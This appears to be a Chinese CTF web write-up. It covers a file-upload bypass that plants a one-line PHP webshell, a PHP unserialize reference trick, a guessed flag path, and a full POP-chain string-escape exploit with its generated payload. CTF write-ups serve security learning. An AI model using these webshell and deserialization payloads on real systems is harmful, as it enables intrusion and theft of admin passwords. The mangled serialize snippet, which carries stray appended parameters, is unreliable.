某比赛Web部分wp
Upload
文件类型绕过攻击
打开代理,和burpsuit走一个端口
随意发一个文件,抓包
将Content-Type修改为 image/gif
Content-Type决定了服务器以什么方式解读文件,且Content-Type是客户端可以修改的
以image/gif的方式上传一句话木马
链接蚁剑,在根目录找到flag
打开即可获得flag
midserialize
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class Sxsec{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$sxsec = unserialize($_GET['sxsec']);
$sxsec->token=md5(mt_rand());
if($sxsec ->login()){
echo $flag;
}else{
echo "NO";
}
?>
看到题目是unserialize,需要serialize一下
```php
token=&$this->password; } } $pop=new Sxsec(); echo urlencode(serialize($pop)); ?>3. 得到 4. ```php O%3A5%3A%22Sxsec%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D&a[]=a&b[]=b&c=0e215962017
get传参传给sxsec即可获得flag
40300
- try to flag.txt
- 在url后面拼接flag.txt
- 访问得到flag
40315
第一步:打开网页,dirsearch扫到了www.zip审计源码,有个safe方法可以进行字符逃逸
function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); }
第二步:
寻找pop链,可以利用UpdateHelper的__destruct触发User的__toString然后走到Info的__call方法,在__call中调用了dbCtrl类的login方法,通过控制查询语句,把admin账户的密码查出来
<?php class *User* { public $age='select password,id from user where username=?'; public $nickname=null; } class *Info*{ public $age; public $nickname; public $CtrlCase; } class *UpdateHelper* { public $sql; } class *dbCtrl* { public $hostname = "127.0.0.1"; public $dbuser="noob123"; public $dbpass="noob123"; public $database="noob123"; public $name='admin'; public $token = 'admin'; } function post($data){ $data = http_build_query($data); $opts = array ( 'http' => array ( 'method' => 'POST', 'header'=> "Content-type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($data) . "\r\n", 'content' => $data ) ); $html = file_get_contents('http://127.0.0.1:8085/index.php?action=update', false, stream_context_create($opts)); echo $html; } $x = new UpdateHelper(); $x->sql = new User(); $x->sql->nickname = new Info(); $x->sql->nickname->CtrlCase = new dbCtrl(); $p = '";s:8:"CtrlCase";' . serialize($x) . "}"; $p = str_repeat('union', strlen($p)).$p; echo($p); post([ 'age' => 123, 'nickname' => $p ]); ``` payload: ``` unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
得到密码后,登录得到flag
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 h3110w0r1d's Blog!